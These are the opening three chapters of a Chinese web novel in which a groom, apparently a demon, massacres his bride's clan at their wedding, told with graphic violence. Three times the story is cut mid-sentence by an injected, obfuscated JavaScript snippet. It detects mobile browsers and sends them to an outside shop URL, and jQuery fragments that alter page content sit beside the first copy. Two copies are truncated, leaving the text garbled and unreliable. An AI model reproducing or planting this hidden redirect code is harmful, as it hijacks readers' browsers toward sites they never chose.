《他在大婚当日杀了我》 1. 第 1 章 桃林叶子颤了下,滚落几颗桃。 “贺丫头,你是不是又偷我桃子了?”一个白发苍苍的老人杵着根拐杖,戳地几下,胡子微微翘起来,好像被气得不行。 贺桑青捧着圆滚滚的桃子往院外跑,身轻如燕:“谁让顾修喜欢吃您种的桃呢,大方点呗。” 老人挡在她身前道:“说说你这是第几次来我这里偷桃了?” 她歪头一笑,灵活从他臂弯钻过去,将桃子护得紧紧,生怕对方抢了回去:“您老也总是偷我种的药材呀,一笔勾销。” 老人:“……” 他喜欢制药,到如痴如狂的地步,一见到好药材就跟酒鬼见了酒似的,不管不顾一头栽进去,不择手段也要得到。 “什么叫偷?我每次拿你药材的时候都问过你阿娘了。” 桃子散发甜香,贺桑青不禁咽了咽口水,也想立刻尝尝,不过还是忍住了,她更想和顾修一起吃:“反正不经我同意,就是偷。” 说时迟那时快,她冲出门。 “啧。”老人不再争论下去,席地而坐,提起拐杖指桃树,“你不日后就要成婚了,多摘点走,算我送你的贺礼。” 此话一出,贺桑青一个急刹,差点摔飞出去:“当真?” 老人翻白眼:“假的。” “嘿,谢谢李大夫!”她权当没听见这句,小心翼翼放下怀里的桃子,又爬树摘桃,尽挑些好的,有一点瑕疵的也不要,毫不客气。 她家顾修值得最好的。 这些小动作逃不过李大夫的法眼,他倒没说什么,只是静静看着。看着看着,他忽然出声。 “贺丫头。” “嗯?”贺桑青疑惑地回头看一眼他,又看一眼新摘的桃子。 这是嫌她摘太多了? 李大夫转过身,慢慢整理晾晒在院中的药材:“我要离开青州了,没法参加你的婚宴。” 贺桑青诧异又失落:“什么时候?等我成婚后再走不行?” “不行。” “好吧。”语气中的失落更甚。 她耷拉着脑袋继续摘桃,可心里堵着一口气,舍不得这个老头儿:“您为什么一定要走?” “天机不可泄露。” 贺桑青撇嘴:“不说就不说,还扯什么天机不可泄露。” 赶在天黑前摘完桃子,贺桑青上山找顾修。以前他们都是住山下贺家庄的,临近成婚,他才搬到山上,说是想成婚前住一起不好。 这座山高耸入云,走势陡峭,换一般人很有可能爬不上去。 对她来说却是易如反掌。 传说中,贺氏一族的祖先曾得到过神族的恩赐,虽为人,但血脉特殊,个个都是练武奇才,身强力壮,爬个高山自是不在话下。 说实话,贺桑青还挺为此自豪的,自己的祖先居然见过早已和魔族一同消失在人世间的神族。 到山顶,一间竹屋映入眼帘。 屋前院子很小,用稀稀疏疏的木头围起来,乍看简陋。院内没多少东西,仅有一桌一椅。 微风吹过,挂在门檐下的铃铛发出“叮”清脆一声。这铃铛还是贺桑青亲手做,由顾修挂上去的。 她一手拎桃子,一手敲门。 “顾修。” 没人回应。 出去了?贺桑青又敲了下门:“顾修,出来和我一起吃桃。” 仍然是没人回应。 真出去了?贺桑青打算进去留下桃子,再留下一张纸条告诉他,说她来过,让他有空下山见她一面。 她想见他了。 正欲推门进去,“吱呀”一声,门被人从里面推开了,一道修长的身影从竹屋里缓缓出来。 浓云遮天,光线微暗,阴影先是分割过顾修轮廓分明的脸,再分割过身上那套仙气飘飘的白衣,最后分割过挂腰间的丑陋钱袋。 钱袋也是贺桑青亲手做的,她擅武,却不擅针线活儿。 可即使做出来的钱袋丑到爆,挂着会让人笑话,顾修也整天挂着,还当宝贝,谁也不能碰。 贺桑青的目光慢慢从腰间钱袋转移到他那张脸上。 平日里,顾修性子温和,没发过脾气,出了名的好相处,今日的他却给她的感觉不太一样。 至于哪里不一样,又说不出来。 还有就是他明明在竹屋里,为什么不理她?是没听见,还是纯粹不想理? 她愣在原地。 顾修朝她走来:“怎么来了?” 贺桑青刚及笄不久,五官还带点少女的青涩,鹅蛋脸白皙如玉,双眼狭长,似狐狸眼,却又隐隐透着少许不谙世事的单纯。 一看就是被家里人保护得很好。 顾修微不可察地收回近似审视物件的眼神,扬起唇角,露出笑,神情跟以往没任何区别。 “发什么愣?”他又问。 他这一笑冲淡了贺桑青心中的不舒服:“刚刚叫了你几声。” “抱歉,今日不太舒服,从上午睡到现在,没听见。若不是饿了,恐怕会一直睡下去。” 听说顾修不舒服,贺桑青那些乱七八糟的情绪瞬间消失得一干二净,她拉着他就要下山:“不早说。走,咱们去找李大夫看看。” “不用。已经好多了。” 对她来说,身体问题不容忽视,贺桑青皱眉:“可……” 顾修:“我真不想去看大夫。” 见此,她不再勉强。 从小到大,顾修都不喜欢看大夫。记得他刚被父母捡回来时,身上有大大小小的伤。他们要给他找大夫,他表情跟吃了屎似的。 当时,贺桑青还笑他。 后来,只剩下心疼。 父母收养顾修,顾修也渐渐跟贺桑青熟悉起来,便告诉她,他不喜欢看大夫的原因。他亲生父亲是大夫,一不顺心就虐打他。 久而久之,他一闻到大夫身上的那股药味就反胃、难受。 贺桑青摩挲着顾修因习武而有层薄茧的掌心,不忍他一个人待在山上:“我今晚留下来陪你?” 顾修不露痕迹地抽回手:“没这个必要,我能照顾好自己。天色不早了,你赶紧下山吧。” “哦,那你记得吃桃。” 桃不耐放,容易烂,得抓紧时间吃,不然烂掉可惜。 “嗯。” 贺桑青属于比较敏锐的那类人,方才他一抽回手,便察觉到了。不过没多想,她身体不舒服的时候也不喜欢别人碰她:“好好休息。” “我会的。” “对了,李大夫说要离开青州,不能来参加我们婚宴了。” 顾修只道:“可惜了。” 贺桑青没再多说,下山了。 她走路脚步轻快,发髻首饰叮铃作响,并不难听,反而有几分悦耳,像要破开专属于大山的沉寂,让整座山迎接她的到来。 垂在贺桑青长发间的紫色丝绦和青色裙摆均被风吹得微微扬起,后者带动脚边的野花野草。 顾修望着她远去,眸中温度渐褪,刹那间变得冷若冰霜。 半个时辰后,贺桑青回到贺家庄。 跟严格执行宵禁的其他地方不一样,贺家庄晚上最热闹,无数大红灯笼齐齐亮起,随山脚蜿蜒,如同一条生机勃勃的长龙。 男女老少吃完饭都出来看人比武,偶尔还让自家孩子上场,锻炼胆量,能赢最好,输也没事。 此刻演武场周围挤满人,场上一男一女缠斗着,胜负难分。 小孩子看得起劲,也喊得起劲,有些聪明的小孩子看出男子弱点,脱口而出:“攻他下盘。” “观棋不语,观武也要不语。”小孩子父母宠溺地敲了下她额头,顺手抹去那处的汗。 小孩子余光扫见贺桑青,热情挥手:“桑姐姐!” 贺桑青撸了把她脑袋。 她咯咯笑。 贺桑青又捏了把她圆润的脸蛋,随即越过人群,暂无心观赛。 贺家庄的人谁不认识贺桑青?他们全是跟她沾亲带故的同族人,一人拉住她,笑着道:“贺丫头,今儿咋不留下来看看?” 贺桑青笑回:“急着回家吃饭。” 眼下是饭点,到这个时候,她必须吃饭,不想吃其他东西,对香甜可口的桃子也提不起兴趣。 拉住她的人又道:“这个时辰还没吃饭?又去哪儿混了。” “还能去哪儿混,怕不是又上山找顾修去了。”有人插话,言语带着打趣,“他们整天跟鱼儿离不开水似的黏在一起。” 众人笑起来。 “懒得跟你们说那么多。”贺桑青哼了哼,一溜烟跑回家。 踏入门,一只鞋飞了过来。 贺桑青眼也不眨接住:“阿娘,谁又惹您生气了呀。” 坐在厅堂正中间的贺母甩来一记眼风,凌厉如刀片,仿佛能割人:“还有谁,当然是你。” 贺家庄现在是贺母当家,旁人见了她都要尊称一声贺家主。 当然,贺桑青不用,不过她撒娇的时候偶尔会扯着嗓子喊几声贺家主。 贺母:“也不看看现在是什么时辰了,你已经及笄,不再是小孩子了,也该懂点事了。” 贺父在旁边不敢吱声。 贺桑青的大哥贺道蓝朝她使了个眼色,意思是赶紧认错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485655|201985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭。 “我错了。” 贺桑青认错认得迅速。 贺母神色稍稍缓和:“我说过多少次了,晚饭得一起吃,你这么晚回来,我们一直在等。” 贺桑青走过去,拉着她的手晃,撒娇道:“对不起嘛,贺家主,我发誓,绝对没下次了。” “你啊你。”贺母心软了。 贺父这时和稀泥:“行了,再不吃,又要热一遍饭菜了。” 用过饭,贺桑青上屋顶坐着,演武场离她家不远,能隐约看到那里的人影,声音也能传过来。 贺桑青不觉得吵闹,反而很喜欢,这是专属于人间的烟火气息,也是专属于贺家庄的热闹。 真好。 “汪汪汪”,贺桑青捡来养了快十年的大黑狗也爬上屋顶,蹲在她脚边用脑袋轻轻地蹭着。 贺桑青抚摸着它脑袋。 “桃子,你阿娘我今天上山去看你阿爹了,你想不想他?” 大黑狗像听得懂,点点头。 接下来几天,她又去找过顾修几次,但都没说上几句话,他便以各种各样的理由让她下山。 他们从来没试过这样。 到底是哪里出了问题?贺桑青百思不得其解。她一心烦就到后山拿铁铲挖土种药材,放空思绪。 “不开心?” 贺道蓝不知何时来到了她身边,递来一只洗干净的大桃子。 贺桑青没把桃子全给顾修,留大半带回家,他一个人也吃不了那么多。一家人吃了几天,还有得剩,这只桃便是她带回的。 贺桑青看了眼,擦了擦手接过去啃几口,但没回他的话。 “因为顾修?”要说最了解她的人莫过于她的大哥了,尽管得不到答案,贺道蓝也猜得出来。 贺桑青转头看他。 阳光下下,贺道蓝的眉眼分外英气,和她长得有点像。他玉冠束发,一身淡蓝衣袍,脚踏黑长靴,看着又比她多了些成熟。 她咽下桃肉:“阿兄。” 贺道蓝耐心听着。 “不知为何,近日,我感觉顾修好像对我越来越冷淡了。” “怎么可能,你想多了吧,顾修有多喜欢你,我们是知道的。当年你调皮出去玩摔下山崖,是他找了两天两夜,背着你回来。” 贺道蓝对此记忆深刻。 “那时天寒地冻,你鞋又不知丢哪儿了,他怕你冻着,脱了鞋给你穿,赤脚走得满是伤。” 贺桑青记得,若非就医及时,顾修那双脚便废了。 除此之外,顾修还为她做过不少事,从小到大,都是她闯祸,他跟在后面给她擦屁股,她挨罚,他陪着,有时候替她背锅。 她一生病、受伤,顾修就整夜睡不着,守在床边照顾。 做事比她父母还细致。 离了顾修,还有谁会对她体贴入微?贺桑青想,应该是没了。 贺道蓝:“我敢说,放眼没多少个人能做到顾修那样。他是真的喜欢你,很喜欢很喜欢。” 话虽如此,但她还是对顾修的冷淡耿耿于怀:“可喜欢也不是永远的啊,说不定临近成婚,他发现自己不再喜欢我了呢。” 他摇头:“别人我不知道,反正顾修不是这样的人。” 真是她想多了? “有很多人成婚前会想些奇奇怪怪的事,甚至患得患失,这很正常。放宽心,等着当新娘。”贺道蓝宠溺地揉了揉她脑袋。 好像有点道理。贺桑青不吭声了。 贺道蓝沉吟道:“我想顾修也不是有意对你这样的,可能是即将成婚,有些紧张,有些不知所措,一时之间转变不过来。” 确实有这个可能,当初他们互表心意的时候,她也别扭了老久,一时之间不知如何跟他相处。 莫名有点尴尬。 后来才慢慢习惯身份转变,从玩伴变为彼此的心上人。 “你得给他点时间适应,也给你自己点时间适应。”贺道蓝虽是这么说,但也想着找个机会跟顾修聊聊,问对方现在怎么想的。 经过贺道蓝的开解,贺桑青的心情变得好点,觉得手中那只桃子更为甜美了,飞快地吃完。 转眼间,到成婚当日了。 一大早,天还没亮,贺桑青就被亲娘和各种热心肠过来帮忙的族人扯着耳朵,叫起来梳妆打扮。 以前很少人踏足的闺房今日拥挤不堪,她们围着她说个不停,比她这个当事人还要兴奋。 “贺丫头,过了今日,你也是他人妇了。” 贺母淡淡道:“什么叫做他人妇,就算过了今日,她也还是她,还是我贺长归的女儿。” 2. 第 2 章 贺桑青仰头看她:“阿娘。” 成婚后,贺桑青会继续留在贺家庄住,毕竟顾修也是在这里长大,贺家庄也是他的家。正因如此,这场大婚比寻常人家大婚少了点父母要与女儿分离的伤感。 全福人准备给贺桑青梳头,贺长归抬手:“我来,你先退下。” “是。” 贺长归拂过贺桑青长发,接过下人递来的梳子,为她梳发。 其他人则去帮忙整理别的。 待梳好发,贺长归放下梳子退到一边,她不太会化妆,让有经验的全福人接手,为贺桑青化妆。 起初,贺桑青对成婚还没什么感觉,直到镜子里的自己变了个样。她眉间缀一枚金色花钿,唇上胭脂明艳,妆容恰到好处。 往上看,是沉得差点令人直不起脖子的凤冠。 往下看,是绮丽又庄重的婚服,金红色绣纹似泛着光,拖在地上,长长一条,盖住因坐着而曲起来的双腿和穿在脚上的绣花鞋。 贺桑青不自觉捻了捻袖摆,总算有即将成婚的实感,渐渐的,心脏跳动得越来越快,砰砰响。 跟她成婚的是顾修。 是她喜欢了多年的顾修,也是喜欢了她多年的顾修。 喜悦感沿四肢百骸散开,最终又回流集中到脑子,一波一波冲击着贺桑青,她都不知道怎么形容这种愉悦,眼尾不禁弯起来。 贺长归时刻留意女儿的神情,自然将这一幕纳入眼底,也跟着弯了弯眼,替贺桑青感到高兴。 顾修这孩子,是她看着长大的。 先不说长相一流,就说人品,那也是数一数二的,温柔、体贴。最重要的是他无论做什么,凡事以贺桑青为主,绝不让她受半点委屈。 “叮当”,贺桑青把玩腰间坠着金饰的腰带,发出响声。 贺长归回过神,说要出去看看,怕贺父和贺道蓝没能打理好外边的事。她前脚刚走,贺桑青的手帕交后脚就来了:“恭喜呀。” 贺桑青立刻转身,迎过去张手抱住她:“惊山!你来了!” 全福人提醒贺桑青当心点,不要蹭花妆,或者弄乱凤冠霞帔。她充耳不闻,眼里只有谢惊山这个手帕交:“我想死你了。” 大齐共有九个州。 从大齐建立以来便由九大家族分别镇守,贺家庄是青州,谢家是梁州,二者距离相较远。 小时候,她们经常轮流到对方家长住一段时间,形影不离。长大后,见面的次数就变少了。 尽管如此,她们关系仍十分好,书信往来频繁。 今日是贺家庄千金的大喜日子,各族都来了人,这点面子还是要给的。每位家主会携一位小辈,谢惊山就是谢家主携来的小辈。 谢惊山拍了拍贺桑青肩膀:“快让我仔细看看你现在的样子。” 贺桑青这才松开她。 谢惊山绕着贺桑青看了圈,小心摸了摸她的脸,又抚过凤冠霞帔:“真好看,顾修真有福气。” 听到谢惊山提起顾修,贺桑青更迫不及待想见到他了,穿上婚服的他会是什么样子?想想都心痒痒的,她竖起耳朵听外面的声音。 如果顾修来迎亲了,那么钟鼓乐声会随之而来。 还没有。 看来他还没来迎亲。 怎么这么慢?是不是路上遇到什么事?贺桑青不由得胡思乱想起来。谢惊山感叹道:“不知我的如意郎君如今身在何处。” 贺桑青注意力被分散,没那么紧张了:“哟,春心萌动了?” 谢惊山反问:“不许啊?” “行行行。” 闲聊没多久,贺桑青二姐也来了。 贺远黛比贺道蓝小两岁,比贺桑青大三岁,前两年便已成婚了,夫君是扬州刘家家主的儿子,今年刚怀上,不顾夫家阻拦,挺着个肚子也要前途跋涉来参加婚宴。 贺桑青见到她,眼睛就红了。 “二姐。” 贺远黛按住她眼角,柔声道:“这大喜的日子可不兴哭。” 扬州刘家有多看重贺远黛肚子里的孩子,贺桑青是知道,自她怀上后就鲜少让她出门,生怕磕着碰着,伤到他们刘家的后代。 “我还以为你不会来了。” 贺远黛轻敲她脑门:“你是我唯一的妹妹,你成婚,我怎么可能不来,傻丫头。” “姐夫陪你来的?” “嗯。” 话音刚落,钟鼓乐声越过高墙传进来,贺桑青下意识朝外看,哪怕知道身处闺房看不到顾修。 谢惊山:“迎亲的来了。” 全福人拿来红盖头:“贺三姑娘,您先坐下。” 贺桑青总算安分坐下。 盖上红盖头之前,全福人再次给她检查一遍妆容、服饰,确定都过关了,这才满意点点头。 等了一刻钟左右,全福人扶起贺桑青往外走,嘴里念着那些吉利词。贺桑青垂眸望着脚下的红毯,迈的步子越发大,想走快点。 顾修就在外边等着她呢。 全福人差点跟不上,压低嗓子对她说慢点。还是第一次见新娘子如此急切,连一会都等不及。 贺桑青放慢脚步。 行至大门前,全福人将贺桑青的手交给等候已久的顾修。 两手相碰,未待顾修有什么反应,贺桑青一把抓住了他,低声喊“顾修”,语气是掩饰不住的兴奋,只要是人就能听出她的期待。 顾修指尖微动,也回握她。 接下来的事就跟寻常人成婚大差不差的流程了,发喜钱、喜糖,游街再回府,新郎官去招待客人,新娘子留在婚房内。 起得太早,一静下来就想睡觉,贺桑青靠着床边眯了眯。 贴身丫鬟知道她辛苦了,安静守在一旁。不知过了多久,外面传来一阵异常的嘈杂声。 贺桑青被吵醒。 “阿竹,怎么了?”有人醉酒闹事?这种事在大婚上见怪不怪了,可居然有人敢在贺家庄举办的婚宴醉酒闹事就有点怪了。 阿竹也不清楚缘由:“要不奴出去看看?” “去吧。”她睡了会,有点精神,坐直身子,牢记着全福人说自掀红盖头不吉利,忍住不掀。 门开又关上,阿竹走出去,婚房只剩下贺桑青一人。 等了又等,见阿竹迟迟没回来,她忍不住叫了几声,最后忍不住掀开红盖头,想出去看看。 一阵风从窗外吹来,蜡烛灭了。 贺桑青的心莫名紧了下,但没理那些蜡烛,急着出门。 一出门就看到了一具血肉模糊的尸体,她眼睛瞪得仿佛要掉出来,满是红血丝,胸口破个洞,心脏不见了,手脚维持着爬行动作,像是想在死前爬到婚房。 贺桑青呆住片刻。 紧接着她颤抖着扑向那具尸体:“阿竹!”怎么会这样? 可惜阿竹没法回应。 贺桑青轻轻放下阿竹,拖着染了血的婚服跌跌撞撞往外面跑,跑得太快,发间掉落几支簪子。 乌云挡月,夜色透着一股冷意,喜庆的大红灯笼高挂房梁之上,庭院却遍地是血,血腥味飘浮在空中,从四面八方钻进鼻子里。 躺在地上的尸体愈发多了,死状无一例外凄惨。 她不敢想象贺家庄发生了什么。 眼看着快要跑到招待宾客的大院,贺桑青被婚服长摆绊住脚,滚落在地,沉重的凤冠就此脱落,长发倾泻而下,凌乱狼狈。 贺桑青不管不顾爬起来,直冲大院:“阿娘……” 院中尸体堆积如山,血气冲天,顾修掐着她母亲的脖子高举起来。 贺父负伤倒地,双腿断了,起不来救人,发出痛苦的声音。 贺道蓝比贺父更惨,被一把剑狠狠插在了墙上,整个人悬空,面如金纸,衣襟湿透,全是血。 少数幸存的贺氏族人和前来参加婚宴的客人被赶到院中角落,由一对打扮得稀奇古怪的男女守着。 明明他们人多,会武的人也不少,怎会被两个人控制着? 贺桑青的脑子忽然不会转了。 这是噩梦吧。 一定是。顾修没这个能力,也不会这样对贺家庄的。 贺父第一个见到贺桑青,他忍痛吹了个口哨,大黑狗从院墙阴暗处跑出来,到贺桑青身边,咬住裙摆往外扯,要她离开。 这不仅是大黑狗的意愿,也是贺父的意愿。 大黑狗鼻腔喷着热气,隔着几层衣服也烫到了贺桑青,她不得不承认这一切都是真的。刹那间,心如刀割,热泪夺眶而出。 她推开大黑狗,跑向顾修。 “放开我阿娘!” 顾修随意地抬了抬手,如扔垃圾一般将贺长归扔到地上。 人真是不堪一击。 他不疾不徐转过身来,脸上溅满斑驳的血渍,眼神冷漠,婚服红得发艳,细看缀满血花,每一朵都是贺家庄沉甸甸的人命。 贺桑青忙不迭扶起贺长归,喉咙干哑到险些说不出话,哽咽着:“阿娘。” 贺长归张了张嘴,却吐出一口血,喷在贺桑青身上。 有些血进了她眼睛,眼底瞬间一片赤红,密密麻麻的疼意散开,却远远抵不过心中的疼。 “阿娘,您先别说话了。” “跑。” 仅仅是一个字就要了贺长归浑身的力气,鲜血又溢出嘴角。 可贺桑青怎会抛下他们跑? 她抬头瞪着顾修,眼泪顺着脸颊滑落,眼尾通红,妆糊了一脸:“顾修,你疯了?今天可是我们的大喜日子,你都做了什么!” 顾修随手捡起一把剑,漫不经心转动着,走几步就随机捅死一个还在地上挣扎的贺氏族人。 “我都做了什么?”他笑了笑,“你看不见?” 只有在人高兴的时候杀死对方,对方产生的痛苦才最强烈,三魂七魄也才最美味,最滋补。 若非如此,他也不用等到今日。 毕竟要等贺氏一族所有人几乎都处于高兴时刻的日子并不多。 “为什么要这样做,我们贺家庄哪里待你不薄了?”贺桑青的心仿佛被人一刀一刀地割着。 顾修直视她双眼,轻笑说:“想知道为什么,下黄泉问阎王吧,或许阎王能告诉你为什么。” 说罢,剑尖直指贺桑青。 她眸中倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“快回来!”他们父母喊。 她既感动又恐惧,恐惧顾修会伤害他们,伸手扯了扯他们衣角:“别说了,你们快走……” 话音未落,顾修毫不留情拧断了其中一个孩子的脖颈。 “咔嚓”一声。 那一刻,全场寂静。很快,人群发出尖叫声,是孩子的母亲:“啊啊啊!我的孩子啊啊啊!” 她疯了似的跑过来,还没跑几步就被看守他们的女子用鞭子抽中,跌倒在地,紧接着又被鞭子勾住脖子,往后拉回去。 众目睽睽之下,看守女子用鞭子活生生地勒死了她。 她的丈夫看着怎么可能没反应,也冲了出来,抱起她的尸体,失声痛哭:“孩子他娘!” 看守男子放出一条小蛇。 小蛇爬向他,顺着他耳朵进去,下一刻,他倒地不起。身体在片刻间腐烂,只剩下一副骨头,还有在骨缝上蠕动的蛇。 无论是贺氏族人,还是客人都感到一阵难言的恶寒。 谢惊山有好几次想出去帮忙,但都被谢家主拉住:“现在的顾修实力难测,你出去找死?” “我……” “别说了。” 顾修大开杀戒前说过,今夜他只杀贺氏族人,只要其他人不多管闲事,会平安无事的。 “难道要我眼睁睁地看着他杀光贺氏一族?”谢惊山红了眼眶,摇头道,“父亲,我做不到。” 谢家主拿了随从的腰带绑住她:“可你这样会连累谢家。” 谢惊山挣扎。 谢家主干脆打晕她。 顾修倒是没管身后发生了什么,松开手,被他拧断脖颈的孩子朝后倒,双目瞪大,面无血色。 贺桑青下意识抱住了孩子软绵绵、没了生息的身体,没反应过来,或者说她不想反应过来。 其他孩子呆住了,蹲下来摇晃他:“你醒醒。” 意识到同伴死了后,孩子们转身奔至顾修面前,用毫无杀伤力的小拳头锤他:“坏人。” 顾修不耐烦地“啧”了一声。 他扼住一个小女孩的头就要往墙上砸,贺桑青不知何时放下了孩子的尸体,提刀砍来,眼神坚定,目标是他扼住小女孩的手。 小女孩哭道:“桑姐姐。” 顾修被迫终止行动,拎着小女孩后退一步。贺桑青扑了个空,立刻掉头,接着攻击他,哪怕手还在流血,骨头还在疼得发颤。 他将小女孩扔到半空,想看看贺桑青身受重伤还能不能接住。 被钉在墙上的贺道蓝抬手,凭意志力拔掉插在肩头的剑,连气都没喘匀就从后面偷袭顾修。 顾修跟后面长了眼睛似的,及时躲开,还折了贺道蓝胳膊。 贺桑青艰难接住小女孩后想跑过去帮贺道蓝,那个看守女子挥了挥手,鞭子缠住了她脚踝。 “砰”,她轰然倒地。 看守女子像刚才拖拽孩子母亲那样拖拽贺桑青,可她没动手杀了贺桑青,好像只是想拖住她。 “别动。”看守女子呵道。 不久后,贺桑青知道顾修的真正用意了,他想让她亲眼看着自己的大哥贺道蓝在她面前死去。 3. 第 3 章 顾修先是折了贺道蓝的手,再从演武场那里拿来铁锤,一下一下地敲断了他的腿,骨头慢慢碎裂的声音萦绕着整个贺家庄。 贺道蓝额间青筋暴起,疼得目眦尽裂,却强忍着不叫。 因为他知道他每叫一声,他的家人就会更痛苦一点,顾修就会更得逞,所以贺道蓝不愿意叫,将疼痛咬碎了含着血往肚子里咽。 “衔青!” 贺长归拼命想站起来救下儿子,可还没起来便受了看守男子一掌,肝肠俱断。 贺父正在爬向贺道蓝,拖着那双早被打断的腿。 人群里,贺远黛早就泣不成声了,她夫君死死捂住她的嘴巴,不让她发出一点声音,生怕顾修将她划分为贺氏一族的人。 刘家主示意随从挡在贺远黛身前,别让人发现。 先不说自家儿子痴恋贺远黛,就说贺远黛怀着他们刘氏的骨肉,如果可以,尽力保住她性命。 贺远黛夫君凑到她耳畔:“我求你了,别出声,就当是为了我们的孩子,你也要活下来。” 贺远黛泪如雨下。 贺桑青弯着腰,一边流泪,一边使劲解缠在脚上的鞭子,她一定要救下她大哥,一定要才行。 鞭子上有细长铁钉,不仅能禁锢住人,还能折磨人,她解鞭子时,手脚都是深入骨头的划伤。 顾修感受到众人的痛苦,觉得愉悦,但又觉得远远还不够。 他决定让他们更痛苦些。 他手腕微动,锤子的方向调转,正正砸中贺道蓝的头。 脑浆混着血,到处飞溅。 又是一锤,脑浆与血不分彼此了,贺道蓝一动不动,原本端正有加的脸此刻看不出原样,只剩下一堆粘在骨头上的碎血肉。 贺桑青一片空白,锤子好像也落在了她头上,敲傻了她。 “大哥!” 待反应过来,她撕心裂肺地叫。 喉咙有浓烈的血腥味。 杀完贺道蓝还不够,顾修的魔爪伸向了角落里的贺氏一族,一个又一个人惨死在他手下,血流成河,四分五裂的尸体触目皆是。 惨叫声此起彼伏。 贺桑青不知哪来的力量,强行扯断看守女子的长鞭,脑海里只剩下一个念头,那就是杀了顾修。 不等贺桑青跑到顾修身边,终于摆脱看守男子的贺长归过来拉住她:“顾修是魔,你我都不是他的对手,听阿娘的话,赶紧走。留得青山在,不怕没柴烧。” 顾修是魔? 魔族不是和神族一起消失了?怎么还有魔族在人间?还藏得那么好,多年来没任何人发现。 不过现在重点不是这个,是如何杀了顾修,为贺家庄报仇。 对了,九天剑。 传说九天剑能杀魔,贺家庄祖上就获得过一把九天剑。 只是九天剑早被分为九把剑,由九大家族保管,每位家主终日随身携带,视其为权力的象征。 久而久之,众人几乎都忘了九天剑是贺家庄祖上分给他们的,只为昭显九族永远一条心,共同守卫大齐,令世间繁荣昌盛。 贺桑青没丝毫要离开的想法:“阿娘,给我天心剑。” 贺长归知道她想做什么,无非是想利用九天剑对付顾修,可九天剑需要将九把剑合为一体才能发挥作用,哪有那么容易。 况且,有九天剑也不一定能杀了顾修,就像刀能杀人,你拿着它,也不一定能杀得了人。 只是有这个可能性罢了。 贺长归:“就算我给你天心剑,你也得不到九天剑的。” “给我。”贺桑青坚持。 贺长归不想她做傻事,也坚持不给,却按耐不住贺桑青直接抢。 本来贺桑青想着顾修不会给她靠近其他家主,集齐九天剑的机会,打算只用这把天心剑对付他的,不曾想顾修竟说:“我给你个集齐九天剑的机会,如何?” 不用说,他肯定不怀好意。 贺桑青警惕盯着他。 这场婚宴集齐了九大家族的家主,也集齐了九把剑,就是不全在贺桑青手上而已,顾修歪头面朝那些家主:“你们有谁愿意借她剑?” 其他八大家主面面相觑,无一人站出来说愿意。 他们不愿意和贺桑青冒这个险,万一九天剑杀不了顾修呢?他们都得陪葬,他们根本赌不起。 “你们怎么不说话,都不愿意?”顾修玩弄人心道,“真是可怜,没一个人愿意借你剑。” 贺桑青握紧拳头,杀意迸溅:“这还不是怕你到时候报复?” “原来如此。” 他似恍然大悟:“这样好了,你们谁想借便借,我在此发誓,绝不因此报复任何一个人。” 尽管深知顾修居心不良,但这是贺桑青能抓住的唯一机会了,无论如何都想试试,她看向他们:“我求你们把剑借我。” 他们避开她的眼神。 贺桑青被父母保护得太好,事到如今还有点天真:“你们真要眼睁睁看着贺家庄被灭?” “贺丫头,不是我们不想帮你,实在是无能为力。相信你也知道了,顾修他不是人,是魔,我们……我们斗不过,也不敢跟他斗。” 荆州陈家主清了清嗓子说。 贺长归、贺父对此早有预料,并不惊讶,人都是自私的。 贺桑青哑声道:“什么叫无能为力,我不需要你们出手帮我对付他,只需要你们借我剑。” 对方忽然冷淡了:“说得倒是轻易,若我们遭遇不测,你们贺家庄愿意拿全族的性命来赌?” 她怒视他们:“可你们的剑本就是我们贺家庄分出去的。” 所有家主脸色一变。 陈家主之子陈子文看不过眼:“父亲,您就把剑给她吧。她说得对,这本来就是贺家庄的,总不能我们拿得久了就变成我们的了。” 陈家主反手给了陈子文一巴掌,大骂道:“你给我住口,陈家的事还轮不到你来插嘴。” 顾修作壁上观。 贺桑青目光逐一掠过他们,在被捂住嘴的贺远黛身上顿了顿。旁边的姐夫用祈求的眼神望向她,希望她不要拖她姐姐下水。 贺远黛双眼含泪看着她。 她移开视线,也双目赤红,含着泪,不再求他们这些人,只身一人拿着天心剑奔向顾修。 这次,贺桑青还是没能跑到顾修面前,贺长归也吹口哨召来大黑狗,它极有灵性地从贺桑青身后窜过去,叼住她衣领,火速往外跑。 天心剑从她手上滑落。 “不行,我不能走,你快放下我。”贺桑青拍打大黑狗。 大黑狗充耳不闻,眼睛里似乎也湿润润的,大概是知道贺家庄在今日后要消失了,但它不想主人殒命于此,跑得飞快。 顾修正欲阻止,贺长归捡起天心剑,强撑着与他缠斗到一起,竭力为贺桑青争取逃离的时间。 可她早已精疲力尽,不堪一击。 顾修的手穿过贺长归的身体,抓住她还在弱弱跳动着的心脏,一把挖了出来,随后抽走她发间仅存的一只簪子,插进她喉咙。 他轻轻一抛,扔了心脏。 没了心脏,又被刺穿喉咙的贺长归自然活不成了。 那些家主看似于心不忍地侧开脸,随他们来的后辈却看得目瞪口呆,还是第一次见虐杀场面。 与此同时,顾修夺过贺长归的天心剑,捅进还在地上爬着的贺父腹部,沿血肉转动十几下,戳着斜上方的骨头,再缓缓捅深点。 顾修明明可以直接杀了贺父的,可他还是要先折磨一番。 人类的痛苦太美味了。 贺父临死前抓住天心剑,不知道是恨顾修杀他,还是单纯想抓住这把属于贺长归的天心剑。 贺桑青回过头看到的便是这一幕。 “阿娘!阿爹!” 她落的泪被抛在身后,随风散去,或坠入黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 